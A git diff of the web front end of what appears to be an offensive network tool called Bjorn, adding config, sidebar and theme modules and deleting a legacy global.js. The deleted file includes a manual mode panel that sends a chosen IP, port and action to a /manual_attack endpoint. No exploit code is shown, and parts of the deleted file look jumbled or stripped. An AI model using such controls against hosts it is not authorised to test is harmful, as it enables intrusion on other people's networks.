currentCard.querySelector('.cfg-card-body'); + if (Array.isArray(value)) body.appendChild(createListField(key, value, tooltipI18nKey)); + else if (typeof value === 'number') body.appendChild(createNumberField(key, value, tooltipI18nKey)); + else body.appendChild(createStringField(key, value, tooltipI18nKey)); + } + + if (currentCard) cardsGrid.appendChild(currentCard); + _host.appendChild(togglesCard); + _host.appendChild(cardsGrid); +} + +function collect() { + const payload = {}; + if (!_host) return payload; + + _host.querySelectorAll('.cfg-field[data-key]').forEach(field => { + const key = field.getAttribute('data-key'); + const type = field.getAttribute('data-type'); + if (!key || !type) return; + + if (type === 'boolean') { + payload[key] = !!field.querySelector('input[type="checkbox"]')?.checked; + return; + } + if (type === 'number') { + const n = normalizeNumber(field.querySelector('.cfg-number-input')?.value); + payload[key] = Number.isFinite(n) ? n : 0; + return; + } + if (type === 'list') { + payload[key] = window.Chips.values(field.querySelector('.cfg-chip-list')); + return; + } + if (type === 'string') { + const values = window.Chips.values(field.querySelector('.cfg-chip-list')); + payload[key] = values[0] ?? ''; + } + }); + + return payload; +} + +export async function loadConfig(host = _host) { + if (host) _host = host; + if (!_host) return; + try { + const config = await api.get(API.load, { timeout: 15000, retries: 0 }); + _lastConfig = config; + render(config); + } catch (err) { + toast(`${t('settings.errorLoading')}: ${err.message}`, 3200, 'error'); + } +} + +export async function saveConfig() { + if (!_host) return; + try { + const payload = collect(); + await api.post(API.save, payload, { timeout: 20000, retries: 0 }); + toast(t('settings.configSaved'), 2200, 'success'); + } catch (err) { + toast(`${t('settings.errorSaving')}: ${err.message}`, 3200, 'error'); + } +} + +export async function restoreDefaults(host = _host) { + if (host) _host = host; + if (!_host) return; + try { + const config = await api.get(API.restore, { timeout: 20000, retries: 0 }); + _lastConfig = config; + render(config); + toast(t('settings.defaultsRestored'), 2200, 'success'); + } catch (err) { + toast(`${t('settings.errorRestoring')}: ${err.message}`, 3200, 'error'); + } +} + +export function mountConfig(host) { + _host = host || _host; +} + +export function hasLoadedConfig() { + return !!_lastConfig; +} + + + diff --git a/web/js/core/sidebar-layout.js b/web/js/core/sidebar-layout.js new file mode 100644 index 0000000..4173de6 --- /dev/null +++ b/web/js/core/sidebar-layout.js @@ -0,0 +1,131 @@ +import { t } from './i18n.js'; + +/** + * Shared page sidebar layout controller. + * Provides one common desktop/mobile behavior for pages with left sidebars. + */ + +export function initSharedSidebarLayout(root, opts = {}) { + if (!root) return () => { }; + + const sidebarSelector = opts.sidebarSelector || '.page-sidebar'; + const mainSelector = opts.mainSelector || '.page-main'; + const storageKey = opts.storageKey || ''; + const mobileBreakpoint = Number(opts.mobileBreakpoint || 900); + const toggleLabel = String(opts.toggleLabel || t('sidebar.close')); + const mobileDefaultOpen = !!opts.mobileDefaultOpen; + + const sidebar = root.querySelector(sidebarSelector); + const main = root.querySelector(mainSelector); + if (!sidebar || !main) return () => { }; + + root.classList.add('page-with-sidebar'); + sidebar.classList.add('page-sidebar'); + main.classList.add('page-main'); + + const media = window.matchMedia(`(max-width: ${mobileBreakpoint}px)`); + let desktopHidden = false; + let mobileOpen = false; + + if (storageKey) { + try { + desktopHidden = localStorage.getItem(storageKey) === '1'; + } catch { + desktopHidden = false; + } + } + + const btn = document.createElement('button'); + btn.type = 'button'; + btn.className = 'btn sidebar-toggle-btn sidebar-fab sidebar-fab-unified'; + btn.innerHTML = '☰'; + btn.title = toggleLabel; + btn.setAttribute('aria-label', toggleLabel); + + const backdrop = document.createElement('button'); + backdrop.type = 'button'; + backdrop.className = 'page-sidebar-backdrop'; + backdrop.setAttribute('aria-label', 'Close sidebar'); + + if (!root.querySelector(':scope > .sidebar-fab')) { + root.appendChild(btn); + } + if (!root.querySelector(':scope > .page-sidebar-backdrop')) { + root.appendChild(backdrop); + } + + function setDesktopHidden(next) { + desktopHidden = !!next; + root.classList.toggle('sidebar-collapsed', desktopHidden); + if (storageKey) { + try { localStorage.setItem(storageKey, desktopHidden ? '1' : '0'); } catch { } + } + refreshFabVisibility(); + } + + function setMobileOpen(next) { + mobileOpen = !!next; + root.classList.toggle('sidebar-open', mobileOpen); + refreshFabVisibility(); + } + + function syncMode() { + if (media.matches) { + root.classList.add('sidebar-mobile'); + root.classList.remove('sidebar-collapsed'); + setMobileOpen(mobileDefaultOpen); + } else { + root.classList.remove('sidebar-mobile'); + setMobileOpen(false); + setDesktopHidden(desktopHidden); + } + refreshFabVisibility(); + } + + function refreshFabVisibility() { + if (media.matches) { + btn.style.display = mobileOpen ? 'none' : ''; + return; + } + btn.style.display = desktopHidden ? '' : 'none'; + } + + function onToggle() { + if (media.matches) { + setMobileOpen(!mobileOpen); + } else { + setDesktopHidden(!desktopHidden); + } + } + + function onHideBtn() { + if (media.matches) setMobileOpen(false); + else setDesktopHidden(true); + } + + function onBackdrop() { + if (media.matches) setMobileOpen(false); + } + + btn.addEventListener('click', onToggle); + backdrop.addEventListener('click', onBackdrop); + media.addEventListener('change', syncMode); + + const hideBtn = sidebar.querySelector('#hideSidebar, [data-hide-sidebar="1"]'); + if (hideBtn) hideBtn.addEventListener('click', onHideBtn); + + syncMode(); + refreshFabVisibility(); + + return () => { + btn.removeEventListener('click', onToggle); + backdrop.removeEventListener('click', onBackdrop); + media.removeEventListener('change', syncMode); + if (hideBtn) hideBtn.removeEventListener('click', onHideBtn); + if (btn.parentNode) btn.parentNode.removeChild(btn); + if (backdrop.parentNode) backdrop.parentNode.removeChild(backdrop); + root.classList.remove('sidebar-open', 'sidebar-collapsed', 'sidebar-mobile', 'page-with-sidebar'); + sidebar.classList.remove('page-sidebar'); + main.classList.remove('page-main'); + }; +} diff --git a/web/js/core/theme.js b/web/js/core/theme.js new file mode 100644 index 0000000..f414bef --- /dev/null +++ b/web/js/core/theme.js @@ -0,0 +1,278 @@ +/** + * Theme module — CSS variable management, persistence, theme editor UI. + * Single source of truth: all colors come from :root CSS variables. + * + * Supports: + * - Preset themes (default Nordic Acid, light, etc.) + * - User custom overrides persisted to localStorage + * - Theme editor with color pickers + raw CSS textarea + * - Icon pack switching via icon registry + */ + +import { t } from './i18n.js'; + +const STORAGE_KEY = 'bjorn_theme'; +const ICON_PACK_KEY = 'bjorn_icon_pack'; + +/* Default theme tokens — matches global.css :root */ +const DEFAULT_THEME = { + '--bg': '#050709', + '--bg-2': '#0b0f14', + '--ink': '#e6fff7', + '--muted': '#8affc1cc', + '--acid': '#00ff9a', + '--acid-2': '#18f0ff', + '--danger': '#ff3b3b', + '--warning': '#ffd166', + '--ok': '#2cff7e', + '--accent': '#22f0b4', + '--accent-2': '#18d6ff', + '--c-border': '#00ffff22', + '--c-border-strong': '#00ffff33', + '--panel': '#0e1717', + '--panel-2': '#101c1c', + '--c-panel': '#0b1218', + '--radius': '14px' +}; + +/* Editable token groups for the theme editor */ +const TOKEN_GROUPS = [ + { + label: 'theme.group.colors', + tokens: [ + { key: '--bg', label: 'theme.token.bg', type: 'color' }, + { key: '--ink', label: 'theme.token.ink', type: 'color' }, + { key: '--acid', label: 'theme.token.accent1', type: 'color' }, + { key: '--acid-2', label: 'theme.token.accent2', type: 'color' }, + { key: '--danger', label: 'theme.token.danger', type: 'color' }, + { key: '--warning', label: 'theme.token.warning', type: 'color' }, + { key: '--ok', label: 'theme.token.ok', type: 'color' }, + ] + }, + { + label: 'theme.group.surfaces', + tokens: [ + { key: '--panel', label: 'theme.token.panel', type: 'color' }, + { key: '--panel-2', label: 'theme.token.panel2', type: 'color' }, + { key: '--c-panel', label: 'theme.token.ctrlPanel', type: 'color' }, + { key: '--c-border', label: 'theme.token.border', type: 'color' }, + ] + }, + { + label: 'theme.group.layout', + tokens: [ + { key: '--radius', label: 'theme.token.radius', type: 'text' }, + ] + } +]; + +let _userOverrides = {}; + +/* -- Icon registry -- */ +const _iconPacks = { + default: {} // populated from /web/images/*.png +}; +let _currentPack = 'default'; + +/* Load user theme from localStorage */ +function loadSaved() { + try { + const raw = localStorage.getItem(STORAGE_KEY); + if (raw) _userOverrides = JSON.parse(raw); + } catch { _userOverrides = {}; } + + try { + _currentPack = localStorage.getItem(ICON_PACK_KEY) || 'default'; + } catch { _currentPack = 'default'; } +} + +/* Apply overrides to :root */ +function applyToDOM() { + const root = document.documentElement; + // Reset to defaults first + for (const [k, v] of Object.entries(DEFAULT_THEME)) { + root.style.setProperty(k, v); + } + // Apply user overrides on top + for (const [k, v] of Object.entries(_userOverrides)) { + if (v) root.style.setProperty(k, v); + } +} + +/* Save overrides to localStorage */ +function persist() { + try { + localStorage.setItem(STORAGE_KEY, JSON.stringify(_userOverrides)); + } catch { /* storage full or blocked */ } +} + +/* -- Public API -- */ + +export function init() { + loadSaved(); + applyToDOM(); +} + +/** Get current value for a token */ +export function getToken(key) { + return _userOverrides[key] || DEFAULT_THEME[key] || ''; +} + +/** Set a single token override */ +export function setToken(key, value) { + _userOverrides[key] = value; + document.documentElement.style.setProperty(key, value); + persist(); +} + +/** Reset all overrides to default */ +export function resetToDefault() { + _userOverrides = {}; + persist(); + applyToDOM(); +} + +/** Apply a full theme preset */ +export function applyPreset(preset) { + _userOverrides = { ...preset }; + persist(); + applyToDOM(); +} + +/** Get current overrides (for display in editor) */ +export function getCurrentOverrides() { + return { ...DEFAULT_THEME, ..._userOverrides }; +} + +/* -- Icon registry -- */ + +/** + * Register an icon pack. + * @param {string} name + * @param {object} icons - { logicalName: svgString | url } + */ +export function registerIconPack(name, icons) { + _iconPacks[name] = icons; +} + +/** Get an icon by logical name from current pack */ +export function icon(name) { + const pack = _iconPacks[_currentPack] || _iconPacks.default; + return pack[name] || _iconPacks.default[name] || ''; +} + +/** Switch icon pack */ +export function setIconPack(name) { + if (!_iconPacks[name]) { + console.warn(`[Theme] Unknown icon pack: ${name}`); + return; + } + _currentPack = name; + try { localStorage.setItem(ICON_PACK_KEY, name); } catch { /* */ } +} + +/* -- Theme Editor UI -- */ + +/** + * Mount the theme editor into a container element. + * @param {HTMLElement} container + */ +export function mountEditor(container) { + container.innerHTML = ''; + + const current = getCurrentOverrides(); + + // Color pickers grouped + for (const group of TOKEN_GROUPS) { + const section = document.createElement('div'); + section.className = 'theme-group'; + + const heading = document.createElement('h4'); + heading.className = 'theme-group-title'; + heading.textContent = t(group.label); + section.appendChild(heading); + + for (const token of group.tokens) { + const row = document.createElement('div'); + row.className = 'theme-row'; + + const label = document.createElement('label'); + label.textContent = t(token.label); + label.className = 'theme-label'; + + const input = document.createElement('input'); + input.type = token.type === 'color' ? 'color' : 'text'; + input.className = 'theme-input'; + input.value = normalizeColor(current[token.key] || ''); + input.addEventListener('input', () => { + setToken(token.key, input.value); + }); + + row.appendChild(label); + row.appendChild(input); + section.appendChild(row); + } + + container.appendChild(section); + } + + // Raw CSS textarea (advanced) + const advSection = document.createElement('div'); + advSection.className = 'theme-group'; + + const advTitle = document.createElement('h4'); + advTitle.className = 'theme-group-title'; + advTitle.textContent = t('theme.advanced'); + advSection.appendChild(advTitle); + + const textarea = document.createElement('textarea'); + textarea.className = 'theme-raw-css'; + textarea.rows = 6; + textarea.placeholder = '--my-var: #ff0000;\n--other: 12px;'; + textarea.value = Object.entries(_userOverrides) + .filter(([k]) => !TOKEN_GROUPS.some(g => g.tokens.some(tk => tk.key === k))) + .map(([k, v]) => `${k}: ${v};`) + .join('\n'); + advSection.appendChild(textarea); + + const applyBtn = document.createElement('button'); + applyBtn.className = 'btn btn-sm'; + applyBtn.textContent = t('theme.applyRaw'); + applyBtn.addEventListener('click', () => { + parseAndApplyRawCSS(textarea.value); + }); + advSection.appendChild(applyBtn); + + // Reset button + const resetBtn = document.createElement('button'); + resetBtn.className = 'btn btn-sm btn-danger'; + resetBtn.textContent = t('theme.reset'); + resetBtn.addEventListener('click', () => { + resetToDefault(); + mountEditor(container); // Re-render editor + }); + advSection.appendChild(resetBtn); + + container.appendChild(advSection); +} + +/** Parse raw CSS var declarations from textarea */ +function parseAndApplyRawCSS(raw) { + const lines = raw.split('\n'); + for (const line of lines) { + const match = line.match(/^\s*(--[\w-]+)\s*:\s*(.+?)\s*;?\s*$/); + if (match) { + setToken(match[1], match[2]); + } + } +} + +/** Normalize a CSS color to #hex for color picker inputs */ +function normalizeColor(val) { + if (!val || val.includes('var(') || val.includes('rgba') || val.includes('color-mix')) { + return val; // Can't normalize complex values + } + // If it's already a hex, return as-is (truncate alpha channel for color picker) + if (/^#[0-9a-f]{6,8}$/i.test(val)) return val.slice(0, 7); + return val; +} diff --git a/web/js/global.js b/web/js/global.js deleted file mode 100644 index e0c2939..0000000 --- a/web/js/global.js +++ /dev/null @@ -1,5385 +0,0 @@ -/* ========================================================= - Bjorn Global JS v1.2 — zero-config per page - Injects: topbar, bottombar, quickpanel, console, launcher, settings, toasts - Idempotent: safe to include multiple times. Works on file:// too - ========================================================= */ - -/* ========================= - * BjornUI.ConsoleSSE - * (wired to #logout) - * ========================= */ -window.BjornUI = window.BjornUI || {}; -(function () { - const $ = (s, r=document) => r.querySelector(s); - - BjornUI.ConsoleSSE = (function () { - const state = { - el: { logConsole: null, toggleImg: null, bufferIndicator: null, scrollBtn: null }, - fontSize: 12, - maxLines: 200, - fileColors: new Map(), - levelClasses: { - DEBUG: "debug", INFO: "info", WARNING: "warning", - ERROR: "error", CRITICAL: "critical", SUCCESS: "success" - }, - eventSource: null, - isConsoleOn: false, - reconnectAttempts: 0, - maxReconnect: 5, - reconnectDelay: 2000, - // scroll/buffer - isUserScrolling: false, - autoScroll: true, - scrollTimeout: null, - logBuffer: [], - maxBufferSize: 1000, - targetSelector: '#logout', - fontKey: 'Console.fontPx' - - }; - - // ---------- helpers ---------- - function getRandomColor() { - const letters = '89ABCDEF'; - let color = '#'; - for (let i=0;i<6;i++) color += letters[Math.floor(Math.random()*letters.length)]; - return color; - } - function forceBottom() { - if (!state.el.logConsole) return; - state.isUserScrolling = false; - state.autoScroll = true; - // laisse le layout se stabiliser (redim, ajout de lignes…), puis descend - requestAnimationFrame(() => scrollToBottom()); - } - function isAtBottom(el, threshold=50) { - const scrollBottom = el.scrollHeight - el.scrollTop - el.clientHeight; - return scrollBottom <= threshold; - } - function scrollToBottom() { - if (!state.isUserScrolling && state.autoScroll) { - state.el.logConsole.scrollTop = state.el.logConsole.scrollHeight; - } - } - // ---------- helpers ---------- - function hueFromString(str){ - let h = 0; - for (let i=0; i>> 0; - return h % 360; - } - - // apply number highlighting only outside HTML tags - function highlightNumbersOutsideTags(html){ - return html.split(/(<[^>]+>)/g).map((chunk, i) => { - if (i % 2) return chunk; // it's a tag → do not touch - chunk = chunk.replace(/^\d+/, m => `${m}`); - return chunk.replace(/\b\d+\b/g, m => `${m}`); - }).join(''); - } - - function processLogLine(line) { - let modified = line; - - // 1) *.py files → colored bubble (deterministic hue) - modified = modified.replace(/\b([A-Za-z0-9_]+\.py)\b/g, (m, fn) => { - if (/]*class="[^"]*logfile/.test(m)) return m; // avoid double-wrap - const hue = hueFromString(fn); - return `${fn}`; - }); - - // 2) levels → bubbles - modified = modified.replace(/\b(DEBUG|INFO|WARNING|ERROR|CRITICAL|SUCCESS|failed|Connected|SSE stream closed)\b/gi, (m) => { - const key = m.toUpperCase(); - const cls = state.levelClasses[key] || 'info'; - return `${key}`; - }); - - // 3) numbers → only outside tags (does not touch style="--h:246") - modified = highlightNumbersOutsideTags(modified); - - return modified; - } - - function updateBufferIndicator() { - const ind = state.el.bufferIndicator; - if (!ind) return; - if (state.logBuffer.length > 0) { - ind.style.display = 'block'; - ind.textContent = `${state.logBuffer.length} new logs`; - } else { - ind.style.display = 'none'; - } - } - function appendLogs(raw) { - const clean = (raw||'').trim(); - if (!clean || !state.el.logConsole) return; - - if (state.isUserScrolling || !state.autoScroll) { - state.logBuffer.push(clean); - if (state.logBuffer.length > state.maxBufferSize) state.logBuffer.shift(); - updateBufferIndicator(); - return; - } - - state.el.logConsole.innerHTML += processLogLine(clean) + '
                '; - - // keep bottom if already bottom - if (state.autoScroll && !state.isUserScrolling) scrollToBottom(); - - // cap lines - const lines = state.el.logConsole.innerHTML.split('
                '); - if (lines.length > state.maxLines) { - state.el.logConsole.innerHTML = lines.slice(-state.maxLines).join('
                '); - } - } - function flushBuffer() { - if (!state.logBuffer.length || !state.el.logConsole) return; - const buf = state.logBuffer.splice(0, state.logBuffer.length); - for (const l of buf) { - const s = l.trim(); if (!s) continue; - state.el.logConsole.innerHTML += processLogLine(s) + '
                '; - } - scrollToBottom(); - updateBufferIndicator(); - } - - // ---------- SSE ---------- - function reconnect() { - if (state.reconnectAttempts < state.maxReconnect) { - setTimeout(() => { - start(); // retry - state.reconnectAttempts++; - }, state.reconnectDelay); - } else { - state.isConsoleOn = false; - if (state.el.toggleImg) state.el.toggleImg.src = '/web/images/off.png'; - console.error('Maximum SSE reconnection attempts reached'); - } - } - function start() { - stopSSE(); // clean - state.isConsoleOn = true; - try { - state.eventSource = new EventSource('/stream_logs'); - state.eventSource.onopen = () => { state.reconnectAttempts = 0; }; - state.eventSource.onmessage = (ev) => appendLogs(ev.data); - state.eventSource.onerror = (err) => { - console.error('SSE Error:', err); - if (state.eventSource && state.eventSource.readyState === EventSource.CLOSED) { - stopSSE(); - if (state.isConsoleOn) reconnect(); - } - }; - } catch (e) { - console.error('Error creating EventSource:', e); - if (state.isConsoleOn) reconnect(); - } - } - function stopSSE() { - if (state.eventSource) { state.eventSource.close(); state.eventSource = null; } - } - - // ---------- public controls ---------- - function toggle() { - state.isConsoleOn = !state.isConsoleOn; - if (state.isConsoleOn) { - start(); - if (state.el.toggleImg) state.el.toggleImg.src = '/web/images/on.png'; - } else { - stop(); - if (state.el.toggleImg) state.el.toggleImg.src = '/web/images/off.png'; - } - } - function stop() { - stopSSE(); - state.reconnectAttempts = 0; - state.logBuffer = []; - updateBufferIndicator(); - } - function adjustFont(delta) { - state.fontSize += delta; - if (state.el.logConsole) state.el.logConsole.style.fontSize = state.fontSize + 'px'; - } -function setFont(px){ - const inp = document.getElementById('consoleFont'); - const min = inp ? (+inp.min || 2) : 2; - const max = inp ? (+inp.max || 24) : 24; - - const v = Math.max(min, Math.min(max, Math.round(px))); - state.fontSize = v; - - if (state.el.logConsole){ - state.el.logConsole.style.fontSize = v + 'px'; - // ➜ variable pour tout ce qui doit suivre la console - const consoleRoot = state.el.logConsole.closest('#console') || document.documentElement; - consoleRoot.style.setProperty('--console-font', v + 'px'); - } - - try { localStorage.setItem(state.fontKey, String(v)); } catch {} - - if (inp){ - inp.value = String(v); - const minv = +inp.min, maxv = +inp.max; - inp.style.backgroundSize = `${((v - minv) * 100) / (maxv - minv)}% 100%`; - } -} - - - - // ---------- UI extras ---------- - function addFloatingUI() { - if (!state.el.logConsole) return; - // "scroll to bottom" button - const btn = document.createElement('button'); - btn.innerHTML = '⬇'; - btn.className = 'scroll-to-bottom-button'; - Object.assign(btn.style, { - position:'fixed', bottom:'20px', right:'20px', display:'none', - width:'40px', height:'40px', borderRadius:'50%', background:'rgba(0,0,0,.5)', - color:'#fff', border:'none', cursor:'pointer', zIndex:'1000' - }); - document.body.appendChild(btn); - state.el.scrollBtn = btn; - - // buffer indicator - const ind = document.createElement('div'); - ind.id = 'buffer-indicator'; - Object.assign(ind.style, { - position:'fixed', bottom:'70px', right:'20px', display:'none', - background:'rgba(0,0,0,.7)', color:'#fff', padding:'5px 10px', - borderRadius:'15px', zIndex:'1000' - }); - document.body.appendChild(ind); - state.el.bufferIndicator = ind; - - btn.addEventListener('click', () => { - state.autoScroll = true; - state.isUserScrolling = false; - flushBuffer(); - scrollToBottom(); - btn.style.display = 'none'; - }); - - state.el.logConsole.addEventListener('scroll', () => { - btn.style.display = isAtBottom(state.el.logConsole) ? 'none' : 'block'; - }); - } - - // ---------- listeners ---------- - function attachScrollUX() { - const lc = state.el.logConsole; - if (!lc) return; - // main scroll - lc.addEventListener('scroll', () => { - clearTimeout(state.scrollTimeout); - const was = state.isUserScrolling; - state.isUserScrolling = true; - - if (isAtBottom(lc)) { - state.autoScroll = true; - state.isUserScrolling = false; - if (was) flushBuffer(); - } else { - state.autoScroll = false; - } - - state.scrollTimeout = setTimeout(() => { - if (isAtBottom(lc)) { - state.isUserScrolling = false; - state.autoScroll = true; - flushBuffer(); - } - }, 150); - }); - - // wheel - lc.addEventListener('wheel', () => { - clearTimeout(state.scrollTimeout); - state.isUserScrolling = true; - state.autoScroll = false; - state.scrollTimeout = setTimeout(() => { - if (isAtBottom(lc)) { - state.isUserScrolling = false; - state.autoScroll = true; - flushBuffer(); - } - }, 150); - }); - } - - // ---------- lifecycle ---------- - function init(opts={}) { - state.targetSelector = opts.targetSelector || '#logout'; - // legacy support: #log-console - state.el.logConsole = document.querySelector(state.targetSelector) || document.querySelector('#log-console'); - state.el.toggleImg = document.querySelector('#toggle-console-image'); - - if (!state.el.logConsole) { - console.warn('[ConsoleSSE] container not found — inactive'); - return; - } - - // mobile font - // police par défaut (mobile léger) puis charge la valeur persistée si présente - if (/Mobi|Android/i.test(navigator.userAgent) && !localStorage.getItem(state.fontKey)) { - state.fontSize = 11; - } - try{ - const saved = parseInt(localStorage.getItem(state.fontKey)||'', 10); - if (Number.isFinite(saved)) { setFont(saved); } - else if (state.el.logConsole) { state.el.logConsole.style.fontSize = state.fontSize + 'px'; } - }catch{ - if (state.el.logConsole) state.el.logConsole.style.fontSize = state.fontSize + 'px'; - } - - - addFloatingUI(); - attachScrollUX(); - - // autostart if configured - fetch('/check_console_autostart') - .then(r => r.text()) - .then(t => { if (t === 'True') { state.isConsoleOn = true; start(); } }) - .catch(e => console.error('check_console_autostart:', e)); - - // clean on unload - window.addEventListener('beforeunload', () => stopSSE()); - } - - return { init, start, stop, toggle, adjustFont, setFont, addUI: addFloatingUI, forceBottom }; - })(); -})(); - -/* ========================= - * BjornUI.ManualMode — wired to the existing attackbar - * ========================= */ -window.BjornUI = window.BjornUI || {}; -(function () { - const $ = (s, r=document) => r.querySelector(s); - - BjornUI.ManualMode = (function () { - const state = { - el: { - ip: null, port: null, action: null, - btnScan: null, btnAttack: null, modeToggle: null, attackBar: null, - modePill: null - } - }; - -/* ========================= - * BjornUI.ApiActions — Orchestrator API - * ========================= */ -window.BjornUI = window.BjornUI || {}; -(function () { - function stopOrch(){ - fetch('/stop_orchestrator',{method:'POST'}) - .catch(e=>console.error('stop_orchestrator:', e)); - } - function startOrch(){ - fetch('/start_orchestrator',{method:'POST'}) - .catch(e=>console.error('start_orchestrator:', e)); - } - - // single namespace - BjornUI.ApiActions = { startOrch, stopOrch }; - - // backwards compat for ManualMode.toggle() - window.start_orchestrator = BjornUI.ApiActions.startOrch; - window.stop_orchestrator = BjornUI.ApiActions.stopOrch; -})(); - - // ---- data loaders ---- - async function loadOptions() { - try{ - const res = await fetch('/netkb_data_json'); - const data = await res.json(); - if (state.el.ip && Array.isArray(data.ips)) { - state.el.ip.innerHTML = data.ips.map(ip=>``).join(''); - } - if (state.el.action && Array.isArray(data.actions)) { - state.el.action.innerHTML = data.actions.map(a=>``).join(''); - } - await updatePorts(); // initialize ports for the selected IP - }catch(e){ console.error('netkb options:', e); } - } - - async function updatePorts() { - try{ - const ip = state.el.ip?.value; - const res = await fetch('/netkb_data_json'); - const data = await res.json(); - if (state.el.port) { - if (ip && data.ports && Array.isArray(data.ports[ip]) && data.ports[ip].length) { - state.el.port.innerHTML = data.ports[ip].map(p=>``).join(''); - } else { - state.el.port.innerHTML = ''; - } - } - }catch(e){ console.error('update ports:', e); } - } - - // ---- actions ---- - async function execScan() { - const b = state.el.btnScan; - b?.classList.add('scanning'); - try{ - const r = await fetch('/manual_scan', { method:'POST' }); - const d = await r.json(); - if (d.status!=='success') console.error('manual_scan:', d.message); - }catch(e){ console.error('manual_scan:', e); } - finally{ setTimeout(()=>b?.classList.remove('scanning'), 800); } - } - - async function execAttack() { - const b = state.el.btnAttack; - b?.classList.add('attacking'); - const ip = state.el.ip?.value; - const port = state.el.port?.value; - const action = state.el.action?.value; - - try{ - const r = await fetch('/manual_attack', { - method:'POST', - headers:{'Content-Type':'application/json'}, - body: JSON.stringify({ ip, port, action }) - }); - const d = await r.json(); - if (d.status!=='success') console.error('manual_attack:', d.message); - }catch(e){ console.error('manual_attack:', e); } - finally{ setTimeout(()=>b?.classList.remove('attacking'), 800); } - } - - - - - // ---- mode ---- - async function check() { - try{ - const t = await fetch('/check_manual_mode').then(r=>r.text()); - updateUI(t); - }catch(e){ console.error('check_manual_mode:', e); } - } - function showAttack(on){ - const consoleEl = document.getElementById('console'); - const attackBar = state.el.attackBar; - const attackToggle = document.getElementById('attackToggle'); - if (!consoleEl || !attackBar) return; - - const mobile = window.innerWidth <= 700; // auto hide on mobile - const visible = !!on && !mobile; - - consoleEl.classList.toggle('with-attack', visible); - attackBar.style.display = visible ? 'flex' : 'none'; - attackToggle?.setAttribute('aria-expanded', String(visible)); - - window.BjornUI?.ConsoleSSE?.forceBottom?.(); - - } - function paintModePill(isManual){ - const pill = state.el.modePill; if(!pill) return; - pill.classList.toggle('manual', isManual); - pill.classList.toggle('auto', !isManual); - pill.innerHTML = `${isManual ? 'Manual' : 'Auto'}`; - pill.setAttribute('aria-label', isManual ? 'Manual mode' : 'Auto mode'); - } - - function updateUI(flag) { - const isManual = (flag === 'True'); - if (state.el.modeToggle){ - state.el.modeToggle.setAttribute('aria-pressed', String(isManual)); - state.el.modeToggle.textContent = isManual ? 'Turn on Auto' : 'Turn on Manual'; - } - paintModePill(isManual); // ⬅️ met à jour la bulle - showAttack(isManual); - } - - - async function toggle() { - const isAuto = state.el.modeToggle?.textContent.trim() === 'Turn on Manual'; - try{ - if (isAuto) { - window.stop_orchestrator?.(); // switch to manual - updateUI('True'); // show panel - } else { - window.start_orchestrator?.(); // back to auto - updateUI('False'); // hide panel - } - }catch(e){ console.error('toggle manual mode:', e); } - } - - // ---- init ---- - function init() { - state.el.ip = $('#selIP'); - state.el.port = $('#selPort'); - state.el.action = $('#selAction'); - state.el.btnScan = $('#btnScan'); - state.el.btnAttack = $('#btnAttack'); - state.el.modeToggle= $('#modeToggle'); - state.el.attackBar = $('#attackBar'); - state.el.modePill = $('#modePill'); - - - // listeners - state.el.ip?.addEventListener('change', updatePorts); - state.el.btnScan?.addEventListener('click', (e)=>{ e.preventDefault(); execScan(); }); - state.el.btnAttack?.addEventListener('click',(e)=>{ e.preventDefault(); execAttack(); }); - - // load data + state - loadOptions(); - check(); - } - - return { init, loadOptions, updatePorts, execScan, execAttack, check, toggle, showAttack }; - })(); -})(); - -/* ========================= - * BjornUI.BjornTopbar → docked in the bottombar - * ========================= */ -window.BjornUI = window.BjornUI || {}; -(function () { - const $ = (s, r=document) => r.querySelector(s); - - BjornUI.BjornTopbar = (function () { - const state = { - el: { - status: null, status2: null, statusImg: null, - say: null, character: null, dropdown: null, liveImg: null - }, - live: { timer: null, delay: 2000, last: 0 } - }; - - // ------- liveview dropdown (docked above the character) ------- - function ensureDropdown() { - if (state.el.dropdown) return; - // Find the character container (now part of grid) - const holder = - document.querySelector('.status-center') || - document.querySelector('.status-character') || - document.body; - - const d = document.createElement('div'); - d.className = 'bjorn-dropdown'; - d.innerHTML = `Bjorn`; - // Positioned relative to the status-center container - d.style.position='absolute'; - d.style.display='none'; - d.style.zIndex='10000'; - d.style.background='#222'; - d.style.borderRadius='8px'; - d.style.boxShadow='0 8px 24px rgba(0,0,0,.45)'; - d.style.bottom='calc(100% + 6px)'; - d.style.left='50%'; - d.style.transform='translateX(-50%)'; - holder.appendChild(d); - - state.el.dropdown = d; - state.el.liveImg = $('#screenImage_Home', d); - if (state.el.liveImg) state.el.liveImg.addEventListener('click', () => location.href = '/bjorn.html'); - - // hover/tap handlers - const c = state.el.character || $('#bjorncharacter') || holder; - const show = ()=>{ d.style.display='block'; startLiveview(); }; - const hide = ()=>{ d.style.display='none'; stopLiveview(); }; - c.addEventListener('mouseenter', show); - c.addEventListener('mouseleave', hide); - document.addEventListener('click', (ev)=>{ if(!d.contains(ev.target) && !c.contains(ev.target)) hide(); }); - c.addEventListener('click', ()=>{ d.style.display = (d.style.display==='block' ? 'none':'block'); if(d.style.display==='block') startLiveview(); else stopLiveview(); }); - } - - function updateImageOnce() { - const now = Date.now(); - if (now - state.live.last < state.live.delay) return; - state.live.last = now; - const img = state.el.liveImg; if (!img) return; - const n = new Image(); - n.onload = () => img.src = n.src; - n.onerror = () => console.warn('Liveview image load failed'); - n.src = `screen.png?t=${Date.now()}`; - } - function startLiveview(){ updateImageOnce(); state.live.timer = setInterval(updateImageOnce, state.live.delay); } - function stopLiveview(){ clearInterval(state.live.timer); state.live.timer = null; } - - // ------- fetchers ------- -function updateStatus() { - return fetch('/bjorn_status').then(r => { - if (!r.ok) throw new Error(`HTTP ${r.status}`); - return r.json(); - }).then(d => { - if (state.el.status) { - if (d.status && d.status.trim()) { - state.el.status.textContent = d.status; - } else if (!state.el.status.textContent.trim()) { - state.el.status.textContent = 'Status unavailable'; - } - } - - if (state.el.status2) { - if (d.status2 && d.status2.trim()) { - state.el.status2.textContent = d.status2; - state.el.status2.style.display = ''; - } else { - state.el.status2.style.display = 'none'; - } - } - - if (d.image_path && state.el.statusImg) { - state.el.statusImg.src = `${d.image_path}?t=${Date.now()}`; - } - }).catch(e => { - console.error('Bjorn status:', e); - if (state.el.status && !state.el.status.textContent.trim()) { - state.el.status.textContent = 'Status unavailable'; - } - }); -} - -function updateSay() { - return fetch('/bjorn_say').then(r => { - if (!r.ok) throw new Error(`HTTP ${r.status}`); - return r.json(); - }).then(d => { - if (state.el.say) { - if (d.text && d.text.trim()) { - state.el.say.textContent = d.text; - } else if (!state.el.say.textContent.trim()) { - state.el.say.textContent = 'Message unavailable'; - } - } - }).catch(e => { - console.error('Bjorn say:', e); - if (state.el.say && !state.el.say.textContent.trim()) { - state.el.say.textContent = 'Message 